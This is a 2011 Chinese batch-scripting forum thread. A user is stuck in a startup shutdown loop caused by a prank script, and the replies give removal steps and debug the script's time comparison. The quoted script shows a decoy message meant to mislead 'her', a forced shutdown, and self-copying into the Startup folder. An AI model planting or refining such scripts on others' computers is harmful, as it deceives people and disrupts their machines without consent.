标题: [系统相关] [已解决]运行定时关机的批处理之后如何解决限制? [打印本页]
作者: 亲临 时间: 2011-7-6 17:33 标题: [已解决]运行定时关机的批处理之后如何解决限制?
用了本论坛的有人回帖中的一段代码,我的电脑中招了,
开机后见到桌面就关机,一直是这样,见到桌面就关机.
当然,那段代码保存的bat命令,见到桌面就运行,然后关机,一直这样搞得我很疲惫
这段代码是我在一个版主的主题帖《不止是蛋疼[有感于某些新人的求助]》的25楼的回帖中见到的,就复制下来试了试,结果就这样了
求高手帮助解决一下,就是这个图片中的代码,关机!!
真不好意思,怪我手jian~~~又给大虾们找麻烦了~~~~~~谢谢大侠们!!!!
作者: CrLf 时间: 2011-7-6 18:04
本帖最后由 zm900612 于 2011-7-6 18:30 编辑
开机时按住shift键不放,进入桌面后运行:- cd /d "%userprofile%\「开始」菜单\程序\启动\"
- for /f "delims=" %%a in ('findstr /m /i shutdown *.cmd^&findstr /m /i shutdown *.bat') do del /f "%%a"
复制代码
有点问题,改一下
作者: 亲临 时间: 2011-7-6 18:24
斑竹~~~我试试啊
作者: mxxcgzxxx 时间: 2011-7-6 18:29
本帖最后由 mxxcgzxxx 于 2011-7-6 18:40 编辑
主要是程序中的一句出错了
在比较时间大小时,他使用了“6:00”,
这是错的,所以所有时间都执行关机命令,
因为比较时间是进从第一位开始的,00~24没有一个小时的第一位比6大
应该写成“06:00”就可以正常了
这个程序是开机时如果时间是在00:00~06:00之间就关机
作者: 亲临 时间: 2011-7-6 19:00
900621斑竹的方法基本可以解决问题,
不过每次开机见桌面就得赶紧按住shift键,然后运行斑竹的代码。要不然就得关机。
我在程序的启动里,见到有这个东西,就把它删除了,不知道再开机还会不会自启动,简直就是个病毒!!!!
我在QQ群里有人说把那段代码中的一段,改为以下内容,就可以解决所有时间都关机的问题,不知道对不对??!!
是4楼说的对,还是我在QQ里人说的对?!求解??
if %time% geq 0:00 if "%time%" leq " 6:00"
在此谢谢600921斑竹!!!!
作者: CrLf 时间: 2011-7-6 19:13
4楼代码是删除启动文件夹中含有 shutdown 的 bat 或者 cmd 文件,而那个是把原有脚本的 bug 给改了
至于按住 shift...那是系统默认的跳过开始菜单启动项的快捷键,而不是批处理的内容
作者: 亲临 时间: 2011-7-6 19:26
本帖最后由 亲临 于 2011-7-7 09:58 编辑
- @echo off
- msg * baby,早睡早起身体好。
- rem 迷惑她,让她以为你发这个就是为说这句话的。
- net start Schedule
- if %time% geq 0:00 if %time% leq 6:00 shutdown /s /t 0
- cls
- copy %0 "%userprofile%\「开始」菜单\程序\启动"
- pause
复制代码
把这段代码改成正确的0——6点关机应该怎样改?
呵呵,斑竹我不懂代码的,能不能帮我改好了发上来。
哦,您要是时间紧就不麻烦了您了。
谢谢!!!
我最初提出的问题已经解决了,有点得寸进尺了,不好意思啊,呵呵
作者: mxxcgzxxx 时间: 2011-7-6 20:08
- @echo off
- msg * baby,早睡早起身体好。
- rem 迷惑她,让她以为你发这个就是为说这句话的。
- net start Schedule
- if %time% geq 0:00 if %time% leq 06:00 shutdown /s /t 0
- cls
- copy %0 "%userprofile%\「开始」菜单\程序\启动"
- pause
复制代码
作者: CrLf 时间: 2011-7-6 20:51
本帖最后由 zm900612 于 2011-7-6 20:53 编辑
8楼方案没有考虑到早上7、8、9点的情况,空格依然比0小的- @echo off
- msg * baby,早睡早起身体好。
- rem 迷惑她,让她以为你发这个就是为说这句话的。
- net start Schedule
- if %time% geq 0 if "%time%" leq " 6" shutdown /s /t 0
- cls
- copy %0 "%userprofile%\「开始」菜单\程序\启动"
- pause
复制代码
作者: 亲临 时间: 2011-7-7 10:03
呵呵,被斑竹扣了两个PB,及时改正!!
发在7楼的那段代码,我已经按照论坛要求,用那什么括了起来,以便他人复制。
另外,我给九楼加分后,想再给8楼加分却不能??
我们小列兵每天给的加分数量是不是太少了啊??!!
作者: 亲临 时间: 2011-7-7 10:03
呵呵,被斑竹扣了两个PB,及时改正!!
发在7楼的那段代码,我已经按照论坛要求,用那什么括了起来,以便他人复制。
另外,我给九楼加分后,想再给8楼加分却不能??
我们小列兵每天给的加分数量是不是太少了啊??!!
作者: Hello123World 时间: 2011-7-7 17:39
不好意思,一个0之差,害你上不了机……
我在这里向你道歉
作者: Hello123World 时间: 2011-7-7 17:43
9# zm900612
8楼方案没有考虑到早上7、8、9点的情况,空格依然比0小的——这是什么意思?哪里来的空格
07:00
09:00
作者: Hello123World 时间: 2011-7-7 18:03
9# zm900612
你的代码不对,%time%的值一般类似这样- C:\Users\helloworld\Desktop>echo %time%
- 17:36:33.27
复制代码
- C:\Users\helloworld\Desktop>if "05:59:33.29" geq " 6" echo hello
- hello
复制代码
- C:\Users\helloworld\Desktop>if "05:59:33.29" leq " 6" echo hello
复制代码
时间并没有正确判断。
利用%time%的关键是 : 符号在比较数值大小中究竟有没有起作用,起什么作用。- @echo off
- :hello
- cls
- echo %time%
- set /p a=输入数值:
- if %time% gtr %a% echo %time%^>%a%
- if %time% equ %a% echo %time%^=%a%
- if %time% lss %a% echo %time%^<%a%
- pause
- goto hello
复制代码
初步验证似乎是起到小数点的作用。
作者: CrLf 时间: 2011-7-7 22:47
14# Hello123World
我这里 10 点之前的 %time% 是以空格为前缀,而非数字 0
作者: mxxcgzxxx 时间: 2011-7-7 23:10
本帖最后由 mxxcgzxxx 于 2011-7-7 23:12 编辑
我的机子也是用空格,之前没有多较验,现在才发现0~9点是输出“ 9:00”格式
不过我想问 用- if %time% lss 9:00 echo a
复制代码
这句话时,应该%time% 会被预处理掉首位空格才对的啊?为什么在这里没有生效呢还是我想错了
作者: Hello123World 时间: 2011-7-8 16:32
本帖最后由 Hello123World 于 2011-7-8 16:34 编辑
莫非变量值在预处理(编译)时,相当于加了双引号的字符串。
作者: 亲临 时间: 2011-7-8 17:01
- @echo off
- msg * baby,早睡早起身体好。
- rem 迷惑她,让她以为你发这个就是为说这句话的。
- net start Schedule
- if %time% geq 0:00 if %time% leq 06:00 shutdown /s /t 0
- cls
- copy %0 "%userprofile%\「开始」菜单\程序\启动"
- pause
复制代码
这段代码运行后,能不能实现0—6点关机的效果,万万请大虾们给我个确定准确的回答。
作者: zz100001 时间: 2011-7-8 17:12
幸好你没看到我那次发的代码,如果你试一下的话就真完了。
作者: Hello123World 时间: 2011-7-8 17:48
害你一场,也得帮你解决一下:- @echo off
- set /p a=
- time %a%
- if "%time%" geq " 0:00" if "%time%" leq " 6:00" echo hello
- pause>nul
复制代码
if %time% geq 0:00 if %time% leq 06:00 shutdown /s /t 0
改为
if "%time%" geq " 0:00" if "%time%" leq " 6:00" shutdown /s /t 0
欢迎光临 批处理之家 (http://www.bathome.net/) |
Powered by Discuz! 7.2 |